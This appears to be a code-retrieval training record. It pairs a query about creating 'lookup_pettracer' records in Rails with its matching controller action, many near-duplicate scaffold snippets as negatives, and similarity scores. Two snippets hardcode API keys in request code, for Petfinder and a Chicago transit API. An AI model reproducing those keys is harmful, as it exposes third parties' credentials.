"def new\n @lookup_demographicrelativerelationship = LookupDemographicrelativerelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_demographicrelativerelationship }\n end\n end",
"def new\n @lookup_ethnicity = LookupEthnicity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_ethnicity }\n end\n end",
"def new\n @pokemon = Pokemon.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pokemon }\n end\n end",
"def new\n @probe = Probe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @probe }\n end\n end",
"def new\n @lookup_eligibility_ineligibility = LookupEligibilityIneligibility.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_eligibility_ineligibility }\n end\n end",
"def new\n @tournament = @resource_finder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tournament }\n end\n end",
"def new\n @url_search = UrlSearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_search }\n end\n end",
"def new\n @newspapper = Newspapper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newspapper }\n end\n end",
"def new\n @geoname = Geoname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geoname }\n end\n end",
"def new\n @repair_type = RepairType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repair_type }\n end\n end",
"def new\n @partytype = Partytype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partytype }\n end\n end",
"def new\n @peep = Peep.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peep }\n end\n end",
"def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end",
"def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @vip_programmer_service }\n end\n end",
"def create\n @pet = Pet.new(params[:pet])\n\n respond_to do |format|\n if @pet.save\n flash[:notice] = 'Pet was successfully added to system.'\n format.html { redirect_to(@pet) }\n format.xml { render :xml => @pet, :lost => :created, :location => @pet }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pet.errors, :lost => :unprocessable_entity }\n end\n end\n end",
"def new\n @lookup_eligibilityoutcome = LookupEligibilityoutcome.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_eligibilityoutcome }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end",
"def create\n @lookup_type = Irm::LookupType.new(params[:irm_lookup_type])\n\n respond_to do |format|\n if @lookup_type.save\n flash[:successful_message] = (t :successfully_created)\n format.html { redirect_to({:action=>\"index\"},:notice => (t :successfully_created))}\n format.xml { render :xml => @lookup_type, :status => :created, :location => @lookup_type }\n else\n @error=@lookup_type\n format.html { render \"new\" }\n format.xml { render :xml => @lookup_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end",
"def new\n @counterparty = Counterparty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @counterparty }\n end\n end",
"def new\n @prd_etc = PrdEtc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prd_etc }\n end\n end",
"def new\n @localmap = Localmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @localmap }\n end\n end",
"def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end",
"def create\n @lookup = Lookup.new(params[:lookup])\n\n respond_to do |format|\n if @lookup.save\n format.html { redirect_to @lookup, notice: 'Lookup was successfully created.' }\n format.json { render json: @lookup, status: :created, location: @lookup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lookup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @patrimonio = Patrimonio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patrimonio }\n end\n end",
"def new\n @location_tag = LocationTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location_tag }\n end\n end",
"def new\n @lookup_switchboard = LookupSwitchboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_switchboard }\n end\n end",
"def new\n @party_type = PartyType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @party_type }\n end\n end",
"def new\n @post404 = Post404.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post404 }\n end\n end",
"def new\n @occurence = Occurence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @occurence }\n end\n end",
"def create\n pet_response = pet_create_service.call(pet_params)\n lost_pet_match_service.call(pet_response)\n\n @pet = pet_response\n\n respond_to do |format|\n if pet_response.success?\n format.html { redirect_to pet_response, notice: I18n.t(\"pets.show.created\") }\n format.json { render :show, status: :created, location: pet_response }\n else\n format.html { render :new }\n format.json { render json: pet_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @people = People.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @people }\n end\n end",
"def new\n @lookup_letterlabel = LookupLetterlabel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_letterlabel }\n end\n end",
"def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end",
"def new\n @provider = Provider.new\n @provider.locations.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @provider }\n end\n end",
"def new\n @kennel = Kennel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kennel }\n end\n end",
"def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end",
"def new\n @search_term = SearchTerm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @search_term }\n end\n end",
"def new\n @lost_pet = LostPet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lost_pet }\n end\n end",
"def new\n @novel = Novel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @novel }\n end\n end",
"def new\n @query = Query.new\n @discActions = DiscoveryActions.new\n $DATA_SERVICES ||= @discActions.getDataServices\n @services = $DATA_SERVICES\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @query }\n end\n end",
"def new\n @dogpark = Dogpark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dogpark }\n end\n end",
"def new\n @peca = Peca.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @peca }\n end\n end",
"def new\n @volunteer = Volunteer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @volunteer }\n end\n end",
"def new\n @volunteer = Volunteer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @volunteer }\n end\n end",
"def new\n @lookup_hardware = LookupHardware.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_hardware }\n end\n end",
"def new\n @old_point_tag = OldPointTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_point_tag }\n end\n end",
"def new\n @partyrelationship = Partyrelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @partyrelationship }\n end\n end",
"def new\n @fleet = Fleet.find params[:fleet_id]\n @vehicle = @fleet.vehicles.find params[:vehicle_id]\n @tire = @vehicle.tires.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tire }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end",
"def new\n @lore = Lore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lore }\n end\n end",
"def new\n @repair_use = RepairUse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @repair_use }\n end\n end",
"def new\n @pulve = Pulve.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pulve }\n end\n end",
"def new\n @announcer = Announcer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcer }\n end\n end",
"def new\n @catalogs_priority = Catalogs::Priority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalogs_priority }\n end\n end",
"def new\n @town = Town.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @town }\n end\n end",
"def new\n @newtype = params[:newtype]\n @ptbudget = Ptbudget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end",
"def create\n @lookup_source = LookupSource.new(params[:lookup_source])\n\n respond_to do |format|\n if @lookup_source.save\n format.html { redirect_to(@lookup_source, :notice => 'Lookup source was successfully created.') }\n format.xml { render :xml => @lookup_source, :status => :created, :location => @lookup_source }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_source.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @prd_threshold = PrdThreshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prd_threshold }\n end\n end",
"def new\n @tipp = Tipp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tipp }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @location }\n end\n end",
"def new\n @drop = @npc.drops.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @drop }\n end\n end",
"def new\n @web_location = WebLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_location }\n end\n end",
"def new\n @lablocational = Lablocational.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lablocational }\n end\n end",
"def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patron }\n end\n end",
"def new\n @page_id = \"opinions\"\n @opinion = Opinion.new\n @agents = Agent.all.collect {|item| [ item.name, item.id ]}\n @services = Service.find(:all).collect {|item| [ item.name, item.id ]}\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @opinion }\n end\n end",
"def new\n @venture = Venture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @venture }\n end\n end",
"def create\n @lookup_set = LookupSet.new(lookup_set_params) #params[:lookup_set])\n\n respond_to do |format|\n if @lookup_set.save\n format.html { redirect_to(@lookup_set, :notice => 'Lookup set was successfully created.') }\n format.xml { render :xml => @lookup_set, :status => :created, :location => @lookup_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @pat_project = Pat::Project.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pat_project }\n end\n end",
"def new\n @web_passenger = WebPassenger.new\n @web_passenger.web_locations << WebLocation.new\n @web_passenger.web_locations << WebLocation.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @web_passenger }\n end\n end",
"def new\n @team_roaster = TeamRoaster.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @team_roaster }\n end\n end",
"def new\n @travel_fix = TravelFix.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel_fix }\n end\n end",
"def new\n @ptid = Ptid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptid }\n end\n end",
"def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end",
"def new\n @threat = Threat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @threat }\n end\n end",
"def new\n logger.debug 'new_some interesting information'\n @comdty = Comdty.new\n setvariables\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comdty }\n end\n end",
"def new\n @pastor = Pastor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pastor }\n end\n end",
"def new\n @mapping_pelayanan_lain = MappingPelayananLain.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mapping_pelayanan_lain }\n end\n end",
"def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @location }\n end\n end"
] |
[
"0.6986458",
"0.6785958",
"0.6715071",
"0.663035",
"0.6353197",
"0.62890637",
"0.6262899",
"0.6211364",
"0.6172767",
"0.6135101",
"0.61207235",
"0.6089706",
"0.60735816",
"0.6056022",
"0.6056022",
"0.60174274",
"0.5950391",
"0.59489316",
"0.59164035",
"0.591276",
"0.58937114",
"0.58873975",
"0.5876903",
"0.58726233",
"0.5868617",
"0.58539987",
"0.5846757",
"0.58413625",
"0.5838573",
"0.5830082",
"0.5819715",
"0.5814027",
"0.58094615",
"0.57988006",
"0.57965493",
"0.5795056",
"0.579103",
"0.57709765",
"0.5763698",
"0.5760908",
"0.575614",
"0.57558215",
"0.5751327",
"0.57471544",
"0.5745739",
"0.5741181",
"0.574091",
"0.5738408",
"0.5726936",
"0.57183814",
"0.5710618",
"0.5708179",
"0.56966275",
"0.56906325",
"0.56900376",
"0.5676425",
"0.5670836",
"0.5670602",
"0.5665918",
"0.5665724",
"0.5662955",
"0.56620556",
"0.5659631",
"0.5658667",
"0.5658667",
"0.56568426",
"0.565568",
"0.5647994",
"0.56474286",
"0.5646147",
"0.5644202",
"0.564344",
"0.56394404",
"0.5633408",
"0.56333995",
"0.5632896",
"0.5631078",
"0.56306994",
"0.5625249",
"0.56231856",
"0.5618108",
"0.5614804",
"0.5609725",
"0.56087923",
"0.5606729",
"0.56023854",
"0.5600662",
"0.5595586",
"0.55908287",
"0.55875546",
"0.55843467",
"0.55768454",
"0.55767155",
"0.55759066",
"0.5575237",
"0.55745983",
"0.5571521",
"0.5568279",
"0.55630267"
] |
0.77304757
|
1
|
POST /lookup_pettracers POST /lookup_pettracers.xml
|
def create
@lookup_pettracer = LookupPettracer.new(params[:lookup_pettracer])
respond_to do |format|
if @lookup_pettracer.save
format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }
format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }
else
format.html { render :action => "new" }
format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @lookup_pettracer = LookupPettracer.new(lookup_pettracer_params)#params[:lookup_pettracer])\n\n respond_to do |format|\n if @lookup_pettracer.save\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully created.') }\n format.xml { render :xml => @lookup_pettracer, :status => :created, :location => @lookup_pettracer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def new\n @lookup_pettracer = LookupPettracer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def show\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lookup_pettracer }\n end\n end",
"def update\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n if @lookup_pettracer.update_attributes(params[:lookup_pettracer])\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @lookup_pettracer = LookupPettracer.find(params[:id])\n @lookup_pettracer.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_pettracers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lookup_pettracer = LookupPettracer.find(params[:id])\n @lookup_pettracer.destroy\n\n respond_to do |format|\n format.html { redirect_to(lookup_pettracers_url) }\n format.xml { head :ok }\n end\n end",
"def create\n pet_response = pet_create_service.call(pet_params)\n lost_pet_match_service.call(pet_response)\n\n @pet = pet_response\n\n respond_to do |format|\n if pet_response.success?\n format.html { redirect_to pet_response, notice: I18n.t(\"pets.show.created\") }\n format.json { render :show, status: :created, location: pet_response }\n else\n format.html { render :new }\n format.json { render json: pet_response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def perform(*args)\n # call petfinder\n response = HTTParty.get('http://api.petfinder.com/pet.find?key=49b6e87785e4e2811b2d5a9668eee5af&format=xml&location=ontario&count=1000')\n # parse xml\n xml_doc = Nokogiri::XML(response.body)\n\n # create hash of attributes\n xml_doc.xpath('//pet').each do |pet_xml|\n pet_attributes = {\n petfinder_id: pet_xml.xpath('id/text()').to_s.to_i,\n city: pet_xml.xpath('contact/city/text()').to_s,\n animal_type: pet_xml.xpath('animal/text()').to_s,\n breed: pet_xml.xpath('breeds/breed/text()')[0].to_s,\n name: pet_xml.xpath('name/text()').to_s,\n gender: pet_xml.xpath('sex/text()').to_s,\n size: pet_xml.xpath('size/text()').to_s,\n age: pet_xml.xpath('age/text()').to_s,\n status: pet_xml.xpath('status/text()').to_s,\n photo: pet_xml.xpath('media/photos/photo[3]/text()').to_s,\n description: pet_xml.xpath('description/text()').to_s,\n shelter_id: pet_xml.xpath('shelterId/text()').to_s\n }\n # save in DB\n #Pet.find_or_create_by!(petfinder_id: pet_id) do |pet|\n # pet.update(pet_attributes)\n #end\n Pet.create!(pet_attributes) unless (Pet.exists?(petfinder_id: pet_attributes[:petfinder_id]) || !Shelter.exists?(shelter_id: pet_attributes[:shelter_id]))\n end\n end",
"def update\n @lookup_pettracer = LookupPettracer.find(params[:id])\n\n respond_to do |format|\n if @lookup_pettracer.update(lookup_pettracer_params)#params[:lookup_pettracer], :without_protection => true)\n format.html { redirect_to(@lookup_pettracer, :notice => 'Lookup pettracer was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lookup_pettracer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create2\n @person= Person.find_by_upid(params[:person_upid])\n @pet = Pet.new(params[:pet])\n\n respond_to do |format|\n if @pet.save\n @pp = @person.as_json(:include => :addresses)\n @pp[:pets] = Pet.joins(:caretakers).includes(:petphotos).where(\"caretakers.primary_role = 'Owner' and caretakers.person_id = ?\", @person.id).all.as_json(:include => :petphotos)\n\n if @person.status.eql? \"active mobile\"\n # add pet to related peeps (f&f, pet_pros)\n @person.person_connections.each do |fandf|\n famfrnd = Person.find(fandf.person_b_id)\n if fandf.category.eql? 'Spouse-Partner'\n prim_role = 'Owner'\n else # category in Family, Friend, Dog Walker\n prim_role = fandf.category\n end\n famfrnd.caretakers.build(:pet_id => @pet.id, :primary_role => prim_role, :status => 'active', :started_at => Time.now)\n famfrnd.save\n end\n end\n\n format.json { render json: @pp }\n else \n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pet_types\r\n BnetApi::make_request('/wow/data/pet/types')\r\n end",
"def create\n @lookup_set = LookupSet.new(lookup_set_params) #params[:lookup_set])\n\n respond_to do |format|\n if @lookup_set.save\n format.html { redirect_to(@lookup_set, :notice => 'Lookup set was successfully created.') }\n format.xml { render :xml => @lookup_set, :status => :created, :location => @lookup_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lookup = Lookup.new(params[:lookup])\n\n respond_to do |format|\n if @lookup.save\n format.html { redirect_to @lookup, notice: 'Lookup was successfully created.' }\n format.json { render json: @lookup, status: :created, location: @lookup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lookup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pet = Pet.new(params[:pet])\n\n respond_to do |format|\n if @pet.save\n flash[:notice] = 'Pet was successfully added to system.'\n format.html { redirect_to(@pet) }\n format.xml { render :xml => @pet, :lost => :created, :location => @pet }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pet.errors, :lost => :unprocessable_entity }\n end\n end\n end",
"def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end",
"def addpets\n\t\t@petowner = Petowner.find( params[:id] )\n\t\t@all_pets_in_system = Pettype.all\n\t\t\n\tend",
"def create\n @user = current_user\n @pet = @user.pets.new(params[:pet])\n\n binding.pry\n if humane_society_ips.include?(request.remote_ip)\n @pet.at_humane_society = true \n end\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to root_path, notice: 'Pet was successfully created.' }\n format.json { render json: @pet, status: :created, location: @pet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @lookup_pettracers = LookupPettracer.all\n # all sams ids done - 43,22,37,38,44,41,45\n # @image_datasets = ImageDataset.where(\"image_datasets.visit_id in ( select visits.id from visits , appointments, scan_procedures_vgroups \n # where visits.appointment_id = appointments.id \n # and appointments.vgroup_id = scan_procedures_vgroups.vgroup_id\n # and scan_procedures_vgroups.scan_procedure_id in (43))\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_pettracers }\n end\n end",
"def create\n @adopted_pet = Pet.find(params[:pet_id])\n # @adopted_pet = adopted_pet.build(:pet => pet)\n\n respond_to do |format|\n if @adopted_pet.save\n format.html { redirect_to @adopted_pet, notice: 'You are about to adopt a pet!' }\n format.json { render action: 'show', status: :created, location: @adopted_pet }\n else\n format.html { render action: 'new' }\n format.json { render json: @adopted_pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def adopted_pet_urls_from_doc(doc)\n adopted_pet_urls = []\n \n pet_names = pet_names_from_doc(doc)\n \n pet_urls = pet_urls_from_doc(doc)\n \n pets_hash = Hash[pet_names.zip(pet_urls)]\n pets_hash.map do |name, url|\n if name =~ /Adopted/i\n adopted_pet_urls << url\n end\n end\n adopted_pet_urls\n end",
"def lookup_action; end",
"def index\n @pet_reports = PetReport.search(params[:search])\n end",
"def set_pet\n @pet = Pet.friendly.find(params[:id])\n end",
"def create\n @lookup = Lookup.new(lookup_params)\n respond_to do |format|\n if @lookup.save\n format.html { redirect_to lookups_path(@lookup, :lookup_type => get_type_label(@lookup.lookup_type)), notice: \"#{@lookup.lookup_type} guardada\" }\n format.json { render :show, status: :created, location: @lookup }\n else\n format.html { render :new }\n format.json { render json: @lookup.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @pet = @person.pets.build(pet_params)\n\n respond_to do |format|\n if @pet.save\n format.html { redirect_to person_path(@person), notice: 'Pet was successfully created.' }\n format.json { render :show, status: :created, location: @person }\n else\n format.html { render :new }\n format.json { render json: @pet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postCategoryMappings( category_id, type, id, name)\n params = Hash.new\n params['category_id'] = category_id\n params['type'] = type\n params['id'] = id\n params['name'] = name\n return doCurl(\"post\",\"/category/mappings\",params)\n end",
"def show\n @species = Species.find(params[:id]) \n @pets = Pet.paginate(:conditions => ['species_id = ?', @species.id], :order => \"regid ASC\", :per_page => 50, :page => params[:page])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ets }\n end\n end",
"def species_request(pokemon_data)\n\t\tspecies_request = HTTParty.get(pokemon_data.species_url)\n\t\tspecies = PokeapiSpecies.new(species_request)\n\t\treturn species\n\tend",
"def create\n @pet = Pet.new(pet_params)\n @pet.save\n redirect_to \"/pets\"\n end",
"def show\n @species = Species.find_by_name(params[:species_name])\n @pet = Pet.first(:conditions => ['species_id = ? AND regid = ?', @species.id, params[:regid]])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pet }\n end\n end",
"def lookup_params\n params.require(:lookup).permit(:parent, :value, :descripcion, :lookup_type)\n end",
"def create\n @lookup_type = Irm::LookupType.new(params[:irm_lookup_type])\n\n respond_to do |format|\n if @lookup_type.save\n flash[:successful_message] = (t :successfully_created)\n format.html { redirect_to({:action=>\"index\"},:notice => (t :successfully_created))}\n format.xml { render :xml => @lookup_type, :status => :created, :location => @lookup_type }\n else\n @error=@lookup_type\n format.html { render \"new\" }\n format.xml { render :xml => @lookup_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def find_pets_by_tags_with_http_info(tags, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PetApi.find_pets_by_tags ...'\n end\n # verify the required parameter 'tags' is set\n if @api_client.config.client_side_validation && tags.nil?\n fail ArgumentError, \"Missing the required parameter 'tags' when calling PetApi.find_pets_by_tags\"\n end\n # resource path\n local_var_path = '/pet/findByTags'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'tags'] = @api_client.build_collection_param(tags, :csv)\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/xml', 'application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'Array<Pet>'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['petstore_auth']\n\n new_options = opts.merge(\n :operation => :\"PetApi.find_pets_by_tags\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PetApi#find_pets_by_tags\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def search\n stuff = params[:q]\n ntee_id = params[:ntee_id]\n results = Typhoeus.get(\"https://projects.propublica.org/nonprofits/api/v1/search.json\", :params => {:q => stuff, 'ntee[id]' => ntee_id })\n @nonprofit_result = JSON.parse(results.body)\n end",
"def train_api(mapid)\n url_safe_mapid = URI.encode(mapid)\n apiKey = \"73b6a68e9e4f450792ba730b84d8c506\"\n apiLink = \"http://lapi.transitchicago.com/api/1.0/ttarrivals.aspx?key=#{apiKey}&mapid=#{url_safe_mapid}\"\n apiResults = open(apiLink).read\n return Hash.from_xml(apiResults)\n end",
"def find_pet\n redirect_to pet_path(@pet) if @pet\n end",
"def create\n @resort = Resort.new(params[:resort])\n @resort_locations = ResortLocation.all\n\n respond_to do |format|\n if @resort.save\n flash[:notice] = 'Resort was successfully created.'\n format.html { redirect_to(@resort) }\n format.xml { render :xml => @resort, :status => :created, :location => @resort }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @resort.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lookup_source = LookupSource.new(params[:lookup_source])\n\n respond_to do |format|\n if @lookup_source.save\n format.html { redirect_to(@lookup_source, :notice => 'Lookup source was successfully created.') }\n format.xml { render :xml => @lookup_source, :status => :created, :location => @lookup_source }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lookup_source.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def pet_params\n params.require(:pet).permit(:name, :adoptions_id, :races_id, :weight, :description, :special_needs, :dewormed, :neutered, :aprox_age, :species)\n end",
"def create\n @lookup_price = LookupPrice.new(lookup_price_params)\n respond_to do |format|\n if @lookup_price.save\n format.html { redirect_to @lookup_price, notice: 'Lookup price was successfully created.' }\n format.json { render :show, status: :created, location: @lookup_price }\n else\n format.html { render :new }\n format.json { render json: @lookup_price.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_service_request\n # Geocode the address\n lat, long = Geocoder.coordinates(\"#{self.restaurant_address} , Chicago, IL\") \n\n HTTParty.post('http://311api.cityofchicago.org/open311/v2/requests.json', :body => { \n :api_key => SETTINGS[\"OPEN_311_KEY\"],\n :service_code => '4fd6e4ece750840569000019',\n :attribute => {\n :PLEASESE => 'FOODPOIS',\n :WHATISTH => self.restaurant_name,\n :ONWHATDA => self.date\n },\n :address_string => self.restaurant_address,\n :description => self.description,\n :lat => lat, \n :long => long, \n :first_name => self.first_name,\n :last_name => self.last_name,\n :email => self.email,\n :phone => self.phone\n })\n end",
